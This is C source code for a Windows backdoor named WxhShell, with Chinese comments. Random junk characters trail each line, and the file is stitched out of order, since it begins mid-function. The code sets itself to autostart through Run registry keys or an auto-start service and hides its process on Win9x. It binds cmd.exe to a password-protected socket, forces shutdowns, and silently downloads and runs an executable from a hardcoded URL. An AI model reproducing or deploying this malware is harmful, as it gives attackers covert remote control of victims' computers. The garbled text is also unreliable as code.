  // 关机 f`8mES'gc8  
  case 'd': { "SN+ ^`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V tJyE}  
    if(Boot(SHUTDOWN)) i{6wns?KMj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D^\2a;[AxA  
    else { 2V=bE-  
    closesocket(wsh); "3:TrM$|A  
    ExitThread(0); ]$?\,`  
    } f)!7/+9>  
    break; %R LGO&  
    } f2RIOL,  
  // 获取shell o:Q.XWa@MG  
  case 's': { jd?NN:7  
    CmdShell(wsh); {-)*.l=  
    closesocket(wsh); -87]$ ax  
    ExitThread(0); rgXD>yu(  
    break; U Zc%XZ`"V  
  } ouR(l;  
  // 退出 gPg2Ve0Qy  
  case 'x': { nW `EBs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TGu]6NzyZ  
    CloseIt(wsh); txXt<]N  
    break; 9EKc{1 z  
    } 6`;+|H<$  
  // 离开 HVK./y qy  
  case 'q': { :_"%o=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yaKw/vV  
    closesocket(wsh); bcC+af0L  
    WSACleanup(); n 0CS =  
    exit(1); r&c31k]E  
    break; .q9wyVi7GI  
        } ~Y'j8W  
  } YR}By;Bq  
  } L% ?3VW  
9V( esveq  
  // 提示信息 ?br4 wl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [u}2xsSx  
} &%`Y>\@f  
  } 3Mt Alc0xp  
x$Tf IFy  
  return;  = ~^  
} MJ0UZxnl  
5 ]v]^Y'?  
// shell模块句柄 ;m cu(J  
int CmdShell(SOCKET sock) h`b[c.%  
{ *]RCfHo\=  
STARTUPINFO si; a #4 'X*  
ZeroMemory(&si,sizeof(si)); , 1` -u$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2%(RB4+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *oU-V#   
PROCESS_INFORMATION ProcessInfo; Y]>Qu f.!  
char cmdline[]="cmd"; <tp#KZE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u.Z,HsEOb  
  return 0; @O%d2bgEWV  
} ;IYH5sG{  
KK4"H]!.  
// 自身启动模式 WYNO6Xb#:  
int StartFromService(void) f:|O);nM  
{ 1xE*quhrh  
typedef struct 8'6$t@oT9w  
{ Jh)K0>R  
  DWORD ExitStatus; cPm-)/E)i  
  DWORD PebBaseAddress; S|?Ht61k  
  DWORD AffinityMask; K{x FhdW  
  DWORD BasePriority; 8Q Nd t  
  ULONG UniqueProcessId; ;_hL  
  ULONG InheritedFromUniqueProcessId; O F CA~sR  
}   PROCESS_BASIC_INFORMATION; v5N2$Sqp*  
jwd{CN%  
PROCNTQSIP NtQueryInformationProcess; &9F(uk=X  
T^~9'KDd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :[ AP^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u  t4+c0  
,Y3wXmG  
  HANDLE             hProcess; I_h{n{,sr  
  PROCESS_BASIC_INFORMATION pbi; )mbRG9P  
XU19+mW=P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J%n{R60b  
  if(NULL == hInst ) return 0; SS/t8Y4W  
SJdi*>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r9d dVD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t@O4 !mFH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9M$N>[og  
f8'$Mn,  
  if (!NtQueryInformationProcess) return 0; O#5ll2?  
3!V$fl0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p/f!\  
  if(!hProcess) return 0; b-XC\  
wuQ>|\Zs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XgmblNp1  
N2x!RYW  
  CloseHandle(hProcess); Vt!<.8&`  
_noQk3N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \"u3 x.!  
if(hProcess==NULL) return 0; f!"Y"g:@E  
Ft)Z'&L   
HMODULE hMod; _%$(D"^j  
char procName[255]; Y[yw8a  
unsigned long cbNeeded; /-W-MP=Wd  
> \KVg(?D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FTg4i\Wp  
,LHQ@/}A C  
  CloseHandle(hProcess); mzX <!  
l6S6Y  
if(strstr(procName,"services")) return 1; // 以服务启动 &PAgab2$  
%VCfcM}5I  
  return 0; // 注册表启动 _\tGmME37  
} GK/Q]}Q8pZ  
U8 b1 sz  
// 主模块 J '^xDIZX  
int StartWxhshell(LPSTR lpCmdLine) *KXg;777  
{ 8uO@S*)0  
  SOCKET wsl; qWzzUM1=  
BOOL val=TRUE; l^IPN 'O@  
  int port=0; {vJ)!'Eh  
  struct sockaddr_in door; _>moza  
7Z;w<b~  
  if(wscfg.ws_autoins) Install(); s;0eD5b>x  
g#ZuRL  
port=atoi(lpCmdLine); Q:x:k+O-  
~BVK6  
if(port<=0) port=wscfg.ws_port; h!*++Y?&0  
WSY&\8   
  WSADATA data; -|DSfI#j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @M V%&y*z.  
PZdYkbj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   epH48)2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .2b) rKo~  
  door.sin_family = AF_INET; GD$jP?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2 8j=q-9Z  
  door.sin_port = htons(port); `37GVo4  
| 3`qT#p{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; YaR|)B  
closesocket(wsl); }bv0~}G4  
return 1; 7 \ <4LX  
} ~Lc>~!!t  
wnE c   
  if(listen(wsl,2) == INVALID_SOCKET) { $<UX/a\sH  
closesocket(wsl); 0)8QOTeT  
return 1; ItTIU  
} J L9d&7-  
  Wxhshell(wsl); lbES9o5  
  WSACleanup(); O^ ]I>A#d  
8dw]i1t<  
return 0; :8_`T$8i4  
{tE/Jv $  
} %(-YOTDr  
-%=StWdb   
// 以NT服务方式启动 i;0`d0^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,<lxq<1I  
{ OU(z};Is6Z  
DWORD   status = 0; ?CS jn  
  DWORD   specificError = 0xfffffff; kC R)k=*  
FGOa! G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |7Q8WjCQ{m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R0<ka[+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0;)6ZU  
  serviceStatus.dwWin32ExitCode     = 0; |zu>G9m  
  serviceStatus.dwServiceSpecificExitCode = 0; K)qbd~<\  
  serviceStatus.dwCheckPoint       = 0; sQ^>.yG  
  serviceStatus.dwWaitHint       = 0; Y\ T*8\h_[  
rI}E2J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~zz|U!TG  
  if (hServiceStatusHandle==0) return; ru`;cXa,  
T^a {#B  
status = GetLastError(); 13Z6dhZu  
  if (status!=NO_ERROR) ;f-|rC_"  
{  W4CI=94  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $/C<^}A  
    serviceStatus.dwCheckPoint       = 0; 71tMX[x  
    serviceStatus.dwWaitHint       = 0; ]tZ5XS  
    serviceStatus.dwWin32ExitCode     = status; h6x+.}}  
    serviceStatus.dwServiceSpecificExitCode = specificError;  &1Fcwj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EGwY|+3  
    return; 7atYWz~yG  
  } .;tO;j |6  
yj$S?B Ee  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p _e-u-  
  serviceStatus.dwCheckPoint       = 0; U!a"r8u|8q  
  serviceStatus.dwWaitHint       = 0; ` OQ&u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {NK>9phoB  
} ; _i0@@J  
Jb-wvNJu  
// 处理NT服务事件,比如:启动、停止 x=B+FIJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) Q=G&  
{ Gx ZQ{ \  
switch(fdwControl) *vhm  
{ tL+8nTL  
case SERVICE_CONTROL_STOP: z s"AYxr  
  serviceStatus.dwWin32ExitCode = 0; pOI+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `Ik}Xw  
  serviceStatus.dwCheckPoint   = 0; 73~Mq7~8  
  serviceStatus.dwWaitHint     = 0; }WGi9\9T&  
  { F.8{ H9`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=e,gNO  
  } N0RFPEQ~  
  return; , m|9L{  
case SERVICE_CONTROL_PAUSE: ,.FTw,<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &up/`8   
  break; ;oFaDTX]  
case SERVICE_CONTROL_CONTINUE: X}z KV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <(p1 j0_Q  
  break; K=5_jE^e  
case SERVICE_CONTROL_INTERROGATE: 0HD1Ob^@  
  break; 5,AQ~_,'\  
}; ,f?#i%EF&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ql*/{#$  
} z3*G(,  
=w A< F  
// 标准应用程序主函数 C6"!'6 W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ z4rx  
{ nv$  
)Elr8XLw  
// 获取操作系统版本 9jPb-I-   
OsIsNt=GetOsVer(); 2Bjp{)*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'fA D Dh}  
a3c4#'c|D  
  // 从命令行安装 nnGA_7-t  
  if(strpbrk(lpCmdLine,"iI")) Install(); .`'SL''c  
Bhq(bV  
  // 下载执行文件 @I"Aet'XV  
if(wscfg.ws_downexe) {  ,O~2 R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C-Fp)Zs{0  
  WinExec(wscfg.ws_filenam,SW_HIDE); '*,4F'  
} j [U0,]  
c?R.SBr,'  
if(!OsIsNt) { _TPo=}Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 jATU b-  
HideProc(); H4:TYh  
StartWxhshell(lpCmdLine); 6$6NVq  
} ESrWRO f9  
else X3m?zQbhv  
  if(StartFromService()) *Ra")(RnDK  
  // 以服务方式启动 n&C9f9S  
  StartServiceCtrlDispatcher(DispatchTable); zRJy3/>  
else *>'R R<  
  // 普通方式启动 ABHZ)OM  
  StartWxhshell(lpCmdLine); Lv^j l  
x b0+4w|  
return 0; }\0"gM  
} b/K&8C,c  
ai`:HhE  
=!CuCV7$1O  
2@&|hd=-  
=========================================== <@vE 3v;  
8S02 3  
`2fuV]FW  
E7h}0DX  
wKeqR$  
"G,*Z0V5  
" %@&)t?/=  
{PVu3 W  
#include <stdio.h> ,){0y%c#y  
#include <string.h> )[K3p{4  
#include <windows.h> ibuI/VDF  
#include <winsock2.h> |"-,C}O  
#include <winsvc.h> ~Op1NE  
#include <urlmon.h> rka:.#!  
UA8!?r-cR  
#pragma comment (lib, "Ws2_32.lib") h@DJ/&;u@  
#pragma comment (lib, "urlmon.lib") V0AX1?H~w  
>ATW/9r  
#define MAX_USER   100 // 最大客户端连接数 kxmS   
#define BUF_SOCK   200 // sock buffer |K_B{v.   
#define KEY_BUFF   255 // 输入 buffer Td  F<  
%xfy\of+Nk  
#define REBOOT     0   // 重启 j&Aq^aI  
#define SHUTDOWN   1   // 关机 `/AzX *`  
72,iRH  
#define DEF_PORT   5000 // 监听端口 y%,BDyK  
$~YuS_sYg  
#define REG_LEN     16   // 注册表键长度 c~'kW`sNV  
#define SVC_LEN     80   // NT服务名长度 @iRVY|t/  
1}uDgz^  
// 从dll定义API z )pV$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); heKI<[8l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2$o[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0/ Ht;(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'oHR4O*  
_Nn!SE   
// wxhshell配置信息 .;:xx~G_Q  
struct WSCFG { :}JZKj!}M  
  int ws_port;         // 监听端口 JB(;[#'~  
  char ws_passstr[REG_LEN]; // 口令 R,\ r{@yrz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0c5_L6_z  
  char ws_regname[REG_LEN]; // 注册表键名 O%&@WrFq  
  char ws_svcname[REG_LEN]; // 服务名 dvD<>{U,8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LbR-uc?x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WNb$2q=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RrHnDO'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EDo@J2A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4PWr;&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -"zu"H~t4  
8[C6LG  
}; ,2TqzU;  
Y2X1!Em>B  
// default Wxhshell configuration S>,I&`yi  
struct WSCFG wscfg={DEF_PORT, &FrB6 y  
    "xuhuanlingzhe", 9^ r  
    1, C' ._}\nX  
    "Wxhshell", iW?9oe  
    "Wxhshell", 1,j9(m2  
            "WxhShell Service", QP B"E W  
    "Wrsky Windows CmdShell Service", ^PQV3\N  
    "Please Input Your Password: ", _")h %)f  
  1, |&Pl4P  
  "http://www.wrsky.com/wxhshell.exe", OD]J@m  
  "Wxhshell.exe" "AouiZkh  
    }; $)3PF  
5 DB>zou   
// 消息定义模块 WO-WoPO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i'wF>EBz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V@S/!h+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !7)ID7d  
char *msg_ws_ext="\n\rExit."; #'x?) AS  
char *msg_ws_end="\n\rQuit."; WQpJd7  
char *msg_ws_boot="\n\rReboot..."; :6?&FzD`  
char *msg_ws_poff="\n\rShutdown..."; 3- bcY4  
char *msg_ws_down="\n\rSave to ";  W6O.E  
ikhX5 &e  
char *msg_ws_err="\n\rErr!"; ku;nVV  
char *msg_ws_ok="\n\rOK!"; l,u{:JC  
V@:=}*E  
char ExeFile[MAX_PATH];  ^qqHq  
int nUser = 0; ?Q)Z..7  
HANDLE handles[MAX_USER]; winJ@IYW  
int OsIsNt; C/waH[Yzan  
UWp8I)p!\O  
SERVICE_STATUS       serviceStatus; l _ O~v?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DH9?2)aR  
~Ls I<z  
// 函数声明 9Nu#&_2R  
int Install(void); |V\.[F2Fe  
int Uninstall(void); *'YNRM\}  
int DownloadFile(char *sURL, SOCKET wsh); g u =fq\`  
int Boot(int flag); X-$td~r  
void HideProc(void); )6E*Qz  
int GetOsVer(void); A9UaLSe  
int Wxhshell(SOCKET wsl); !>y}Xq{bm3  
void TalkWithClient(void *cs); +)JqEwCrq  
int CmdShell(SOCKET sock); |u;BAb  
int StartFromService(void); / JeqoM"x  
int StartWxhshell(LPSTR lpCmdLine); W<91m*  
&PuJV +y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3cO[t\/up  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +g6j =%  
)ek 5  
// 数据结构和表定义 aRKRy  
SERVICE_TABLE_ENTRY DispatchTable[] = GFdJFQio  
{ sK-|xU.  
{wscfg.ws_svcname, NTServiceMain}, jL+}F/~r  
{NULL, NULL} S1juAV=  
}; 0 a6@HwO  
0^.4eX:E_  
// 自我安装 +N$7=oGC  
int Install(void) /v)!m&6]>  
{ }r~l7 2 `  
  char svExeFile[MAX_PATH]; 'Y{ux>  
  HKEY key; wT~;tOw~  
  strcpy(svExeFile,ExeFile); ,DuZMGg  
s<_LcQbt{  
// 如果是win9x系统,修改注册表设为自启动 fC GDL6E  
if(!OsIsNt) { J5p!-N`NS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,35: Srf|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mUyv+n,  
  RegCloseKey(key); $v<hW A]>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }t D!xI;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8N* -2/P&  
  RegCloseKey(key); y2"S\%7$h  
  return 0; wu!_BCIy  
    } *<1x:PR  
  } +.#S[G  
} `J#xyDL6?  
else { l[ ": tG  
a]Da`$T  
// 如果是NT以上系统,安装为系统服务 uM)9b*Vbo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n+\Cw`'<H  
if (schSCManager!=0) 1X"H6j[w  
{ ^ $+f3Z'  
  SC_HANDLE schService = CreateService |@L &yg,x  
  ( *_/eAi/WG  
  schSCManager, @EP{VV  
  wscfg.ws_svcname, .cT$h?+jyl  
  wscfg.ws_svcdisp, *CY6 a  
  SERVICE_ALL_ACCESS, CDwIq>0j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aQ&8fteFR  
  SERVICE_AUTO_START, lDPRn~[#\  
  SERVICE_ERROR_NORMAL, hW !@$Ph  
  svExeFile, #D LT-G0  
  NULL, h[je_^5  
  NULL, B,vHn2W  
  NULL, JNM@Q  
  NULL, 76_8e{zbr  
  NULL }RN=9J  
  ); MZMS ?}.2  
  if (schService!=0) xK),:+G(  
  { S,Wl)\  
  CloseServiceHandle(schService); b8{h[YJL2  
  CloseServiceHandle(schSCManager); b!5tFX;J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OwiWnS<  
  strcat(svExeFile,wscfg.ws_svcname); gvc' $9%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v>y8s&/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @t; O"q'|  
  RegCloseKey(key); ?9zoQ[  
  return 0; ~?`9i>3W~  
    } W`/jz/  
  } r6`^>c  
  CloseServiceHandle(schSCManager); |6(qg5"  
} llaZP(pJ  
} K!- &Zv  
%YvSHh;c  
return 1; *4hOCQ[  
} \p@nH%@v  
}Cmj(k`~  
// 自我卸载 |+;KhC  
int Uninstall(void) 'tV"^KQHI  
{ d JQ }{,+6  
  HKEY key; mWN1Q<vn,l  
*@G(3 n  
if(!OsIsNt) { 0'%+X|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LF9aw4:>Ou  
  RegDeleteValue(key,wscfg.ws_regname); !skb=B#  
  RegCloseKey(key); APQQ:'>N4~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wwK~H  
  RegDeleteValue(key,wscfg.ws_regname); *`g-gk  
  RegCloseKey(key); *<.WL"Qhl  
  return 0; Yn$>QS 4  
  } SD|4ybK>d  
} c5iormb"#  
} m.HX2(&\3  
else { -@ UN]K  
k;K> ,$ F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xu"94y+  
if (schSCManager!=0) ]cLEuE^&  
{ ~aqT~TL_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {? K|(C  
  if (schService!=0) D,GPn%Wqi  
  { <r7qq$  
  if(DeleteService(schService)!=0) { e"o6C\c  
  CloseServiceHandle(schService); M\y~0uZ  
  CloseServiceHandle(schSCManager); HoIKx_  
  return 0; _ r^90  
  } n&YW".iG  
  CloseServiceHandle(schService); 0$f_or9T  
  } G&%nF4  
  CloseServiceHandle(schSCManager); `u p-m=zA  
} - 5o<Q'(  
} EvSnZB1 y  
j h1bn  
return 1; Y @XkqvX  
} B{OW}D$P#  
V`R)#G>IH%  
// 从指定url下载文件 e}](6"t`5  
int DownloadFile(char *sURL, SOCKET wsh) i3M?D}(Bs  
{ ]uStn   
  HRESULT hr; U!a!|s>  
char seps[]= "/"; [U%ym{be ^  
char *token; je- , S>U  
char *file; @Hspg^  
char myURL[MAX_PATH]; F= _uNq  
char myFILE[MAX_PATH]; Cz=A{< ^g  
|c 06ix;).  
strcpy(myURL,sURL); <4l.s  
  token=strtok(myURL,seps); Qr|N)  
  while(token!=NULL) I8<Il ^  
  { Giy3eva2  
    file=token; y"|K |QT  
  token=strtok(NULL,seps); t`<}UWAH+  
  } C}(<PNT  
zqekkR]  
GetCurrentDirectory(MAX_PATH,myFILE); ]ZR{D7.?  
strcat(myFILE, "\\"); P<cMP)+K  
strcat(myFILE, file); >+Sv9S  
  send(wsh,myFILE,strlen(myFILE),0); e'k;A{Oh  
send(wsh,"...",3,0); ueWR/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iioct_7,g<  
  if(hr==S_OK) bxd3  
return 0; 9:9N)cNvfX  
else ?$30NK3G  
return 1; bk\dy7  
;xW8Z<\-  
} #Dj"W8'zh  
?Kx6Sf<i  
// 系统电源模块  95.qAFB1  
int Boot(int flag) c W81  
{ R/ ALR  
  HANDLE hToken; 45Nv_4s  
  TOKEN_PRIVILEGES tkp; g:3d<CS  
msA' 5>  
  if(OsIsNt) { ShL1'Z} ^{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X[GIOPDx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VZT6;1TD$8  
    tkp.PrivilegeCount = 1; #Acon7R p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (TT3(|v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :DOr!PNA  
if(flag==REBOOT) { o9KyAP$2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bc3|;O  
  return 0; [+hy_Nc$  
} V]l&{hl,  
else { x !#Ma  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]k[ Q]:q  
  return 0; 8BYIxHHz  
} .DgoOo%?"  
  } e={k.y }x}  
  else { yPf?"W  
if(flag==REBOOT) { ! 6p>P4TT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o|z+!,  
  return 0; ^?$D.^g  
} & cM u/}  
else { c8^+^.=pX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tyc8{t#Z  
  return 0; WW@JVZxK  
} MxM]( ew~7  
} dIoF~8V  
l?3vNa FeR  
return 1; ;Ri 3#*a=  
} RpHpMtvNo/  
jo 7Hyw!g  
// win9x进程隐藏模块 _v1bTg"?  
void HideProc(void) -rE eKt  
{ Zij"/gx\  
7!O^;]+,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R<0Fy=z  
  if ( hKernel != NULL ) R^jlEt\&P  
  { GwgFi@itN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k-{yu8*';  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2-B6IPeI  
    FreeLibrary(hKernel); 9uA, +  
  } Y*5Z)h 1  
7ZS>1  
return; UJ7'JBT=k  
} jK3giT  
T$:>*  
// 获取操作系统版本 ?cqicN.+6  
int GetOsVer(void) gJ]Cq/gC  
{ DBQOxryP>o  
  OSVERSIONINFO winfo; ?"()>PJx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oUl=l}qnD  
  GetVersionEx(&winfo); Kg4QT/0VA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oHxGbvQc  
  return 1; C}n'>],p  
  else ~Y\QGuT  
  return 0; ^{),+S  
} [yO=S0 e  
uQeqnGp  
// 客户端句柄模块 !nec 7  
int Wxhshell(SOCKET wsl) gE\A9L~b  
{ IM@"AD52a  
  SOCKET wsh; 7sj<|g<h(_  
  struct sockaddr_in client; U5|B9%:&  
  DWORD myID; G1kDM.L  
l<u{6o  
  while(nUser<MAX_USER) x}v1X`6b  
{ &J\B\`  
  int nSize=sizeof(client); \eEds:Hg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [_j6cj]  
  if(wsh==INVALID_SOCKET) return 1; :9(3h"  
`2>XH:+7F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?lF mXZy`  
if(handles[nUser]==0) \|v`l{  
  closesocket(wsh); V@B7 P{gH  
else `Ac:f5a  
  nUser++; +T-@5 v[  
  } Kp8fh-4_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )V=0IZi  
V{43HA10b  
  return 0; xC<R:"Mn  
} Po1hq2-U8  
wHA/b.jH  
// 关闭 socket <#zwKTmK1  
void CloseIt(SOCKET wsh) XFtOmY  
{ a@Mq J=<L  
closesocket(wsh); B,4q>KQA  
nUser--; b2G2c L-(  
ExitThread(0); g4Y) Bz  
} iOl%-Y  
$+7ci~gs  
// 客户端请求句柄 *U M! (  
void TalkWithClient(void *cs) >H$;Z$o*(  
{ T0;u+$  
FX7M4t#<  
  SOCKET wsh=(SOCKET)cs; >J.Qm0TY(  
  char pwd[SVC_LEN]; <F ew<r2  
  char cmd[KEY_BUFF]; \xF;{}v  
char chr[1]; {z=j_;<]  
int i,j; Ah*wQow  
w %;hl#s  
  while (nUser < MAX_USER) { R_7 6W&  
S)+CTVVE  
if(wscfg.ws_passstr) { tL1P<1j_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vuXS/ d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HF]EU!OT  
  //ZeroMemory(pwd,KEY_BUFF); j]>=1Rd0b(  
      i=0; >o#ERNf  
  while(i<SVC_LEN) { h(_P9E[g  
~xw5\Y^  
  // 设置超时 ,`y yR:F  
  fd_set FdRead; 4b]_ #7Qm  
  struct timeval TimeOut; #hpIyy%n  
  FD_ZERO(&FdRead); F#B5sLNb  
  FD_SET(wsh,&FdRead); sA3UeTf  
  TimeOut.tv_sec=8; uWh|C9Y!A  
  TimeOut.tv_usec=0; =9^Q"t4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p+RAtRf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _$8{;1$T?  
8qN"3 Et  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m#*h{U$  
  pwd=chr[0]; ("OAPr\2dw  
  if(chr[0]==0xd || chr[0]==0xa) { vm|!{5l:=y  
  pwd=0; W,DZ ;). %  
  break; WK*S4c  
  } o!=WFAi[pX  
  i++; 3B;}j/h2  
    } 3I]Fdp)'  
'[Xl>Z[  
  // 如果是非法用户,关闭 socket 0potz]}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \04mLIJr9  
} |gW    
(|dPeix|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <~N%W#z/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vg{Zv4+t  
_PV*lK=  
while(1) { mW~P!7]  
U_l7CCK +  
  ZeroMemory(cmd,KEY_BUFF); G,=F<TnI'  
D;jK/2  
      // 自动支持客户端 telnet标准   #MglHQO+  
  j=0; U-eI\Lu  
  while(j<KEY_BUFF) { 3?@?-q2g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Qp[\ia  
  cmd[j]=chr[0]; |0kXCq  
  if(chr[0]==0xa || chr[0]==0xd) { Y87XLvig}  
  cmd[j]=0; +TF8WZZF.d  
  break; \"'\MA  
  } z{|LQt6q  
  j++; >ukQ, CE~  
    } )km7tA 0a  
(8G$(MK  
  // 下载文件 h8jB=e, H  
  if(strstr(cmd,"http://")) { +}U2@03I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ny^'IUu  
  if(DownloadFile(cmd,wsh)) ~r&D6Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TY~Vi OC  
  else +;dXDZ2  
